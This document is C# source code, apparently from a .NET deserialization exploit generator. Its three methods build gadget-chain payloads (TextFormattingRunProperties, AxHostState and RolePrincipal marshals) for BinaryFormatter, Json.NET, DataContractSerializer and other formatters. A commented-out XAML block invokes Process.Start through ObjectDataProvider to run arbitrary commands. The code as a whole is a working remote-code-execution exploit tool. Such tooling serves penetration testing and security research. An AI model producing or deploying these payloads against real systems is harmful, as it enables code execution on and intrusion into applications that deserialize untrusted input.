public override object Generate(string formatter, InputArgs inputArgs) { Generator generator = new TextFormattingRunPropertiesGenerator(); byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); // we could have used AxHostStateGeneratorGadget directly here but it wouldn't have passed our other potential filters using the user input string b64encoded = Convert.ToBase64String(binaryFormatterPayload); AxHostStateMarshal payloadAxHostMarshal = new AxHostStateMarshal(Convert.FromBase64String(b64encoded)); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase)) { return(Serialize(payloadAxHostMarshal, formatter, inputArgs)); } else if (formatter.Equals("NetDataContractSerializer", StringComparison.OrdinalIgnoreCase)) { string utfString = System.Text.Encoding.UTF8.GetString((byte[])SerializeWithNoTest(payloadAxHostMarshal, formatter, inputArgs)); string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString); if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { payload = XMLMinifier.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true); } else { payload = XMLMinifier.Minify(payload, null, null, FormatterType.NetDataContractXML, true); } } if (inputArgs.Test) { try { SerializersHelper.NetDataContractSerializer_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else { throw new Exception("Formatter not supported"); } }
public override object Generate(string formatter, InputArgs inputArgs) { IGenerator generator = new TextFormattingRunPropertiesGenerator(); byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); string b64encoded = Convert.ToBase64String(binaryFormatterPayload); var payloadClaimsPrincipalMarshal = new RolePrincipalMarshal(b64encoded); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("SoapFormatter", StringComparison.OrdinalIgnoreCase)) { return(Serialize(payloadClaimsPrincipalMarshal, formatter, inputArgs)); } else if (formatter.ToLower().Equals("json.net")) { string payload = @"{ '$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a', 'System.Security.ClaimsPrincipal.Identities': '" + b64encoded + @"' }"; if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { payload = JSONMinifier.Minify(payload, new string[] { "System.Web" }, null); } else { payload = JSONMinifier.Minify(payload, null, null); } } if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("datacontractserializer")) { string payload = $@"<root type=""System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""> <RolePrincipal xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Web.Security""> <System.Security.ClaimsPrincipal.Identities i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsPrincipal.Identities> </RolePrincipal> </root> "; if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { // System.Web needs to be there! ust seems useless here payload = XMLMinifier.Minify(payload, new string[] { "" }, null); } else { payload = XMLMinifier.Minify(payload, null, null); } } if (inputArgs.Test) { try { SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type"); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { string utfString = System.Text.Encoding.UTF8.GetString((byte[])SerializeWithNoTest(payloadClaimsPrincipalMarshal, formatter, inputArgs)); string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString); if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { // System.Web needs to be there! ust seems useless here payload = XMLMinifier.Minify(payload, new string[] { }, null); } else { payload = XMLMinifier.Minify(payload, null, null); } } if (inputArgs.Test) { try { SerializersHelper.NetDataContractSerializer_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else { throw new Exception("Formatter not supported"); } }
public override object Generate(string formatter, InputArgs inputArgs) { // commented for future reference (research purposes) /* * Boolean hasArgs; * string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); * * String cmdPart; * * * if (hasArgs) * { * cmdPart = $@"<System:String>"+ splittedCMD[0] + @"</System:String> * <System:String>""" + splittedCMD[1] + @""" </System:String>"; * } * else * { * cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String>"; * } * * * string xaml_payload = @"<ResourceDictionary * xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" * xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" * xmlns:System=""clr-namespace:System;assembly=mscorlib"" * xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> * <ObjectDataProvider x:Key="""" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" > * <ObjectDataProvider.MethodParameters> * "+ cmdPart + @" * </ObjectDataProvider.MethodParameters> * </ObjectDataProvider> * </ResourceDictionary>"; * * * // This is a little bit shorter to use startinfo * if (hasArgs) * { * cmdPart = $@"<ProcessStartInfo FileName=""" + splittedCMD[0] + @""" Arguments=""" + splittedCMD[1] + @"""/>"; * } * else * { * cmdPart = $@"<ProcessStartInfo FileName=""" + splittedCMD[0] + @"""/>"; * } * * string xaml_payload = @"<ResourceDictionary * xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" * xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" * > * <ObjectDataProvider x:Key="""" MethodName=""Start""> * <ObjectDataProvider.ObjectInstance> * <Process xmlns=""clr-namespace:System.Diagnostics;assembly=system""> * <Process.StartInfo>" + cmdPart + @"</Process.StartInfo> * </Process> * </ObjectDataProvider.ObjectInstance> * </ObjectDataProvider> * </ResourceDictionary>"; */ if (xaml_url != "") { // this is when it comes from GenerateWithInit inputArgs.ExtraInternalArguments = new List <String> { "--variant", "3", "--xamlurl", xaml_url }; } //SerializersHelper.ShowAll(TextFormattingRunPropertiesGadget(inputArgs)); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("SoapFormatter", StringComparison.OrdinalIgnoreCase)) { return(Serialize(TextFormattingRunPropertiesGadget(inputArgs), formatter, inputArgs)); } else if (formatter.Equals("NetDataContractSerializer", StringComparison.OrdinalIgnoreCase)) { string utfString = System.Text.Encoding.UTF8.GetString((byte [])SerializeWithNoTest(TextFormattingRunPropertiesGadget(inputArgs), formatter, inputArgs)); string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString); if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { payload = XMLMinifier.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true); } else { payload = XMLMinifier.Minify(payload, null, null, FormatterType.NetDataContractXML, true); } } if (inputArgs.Test) { try { SerializersHelper.NetDataContractSerializer_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("DataContractSerializer", StringComparison.OrdinalIgnoreCase)) { inputArgs.CmdType = CommandArgSplitter.CommandType.XML; string payload = ""; if (hasRootDCS) { payload = SerializersHelper.DataContractSerializer_Marshal_2_MainType(SerializersHelper.DataContractSerializer_serialize(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs)), "root", "type", typeof(TextFormattingRunProperties)); } else { payload = SerializersHelper.DataContractSerializer_Marshal_2_MainType(SerializersHelper.DataContractSerializer_serialize(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs))); } if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true); } if (inputArgs.Test) { try { if (hasRootDCS) { SerializersHelper.DataContractSerializer_deserialize(payload, "", "root", "type"); } else { SerializersHelper.DataContractSerializer_deserialize(payload, typeof(TextFormattingRunProperties)); } } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else { throw new Exception("Formatter not supported"); } }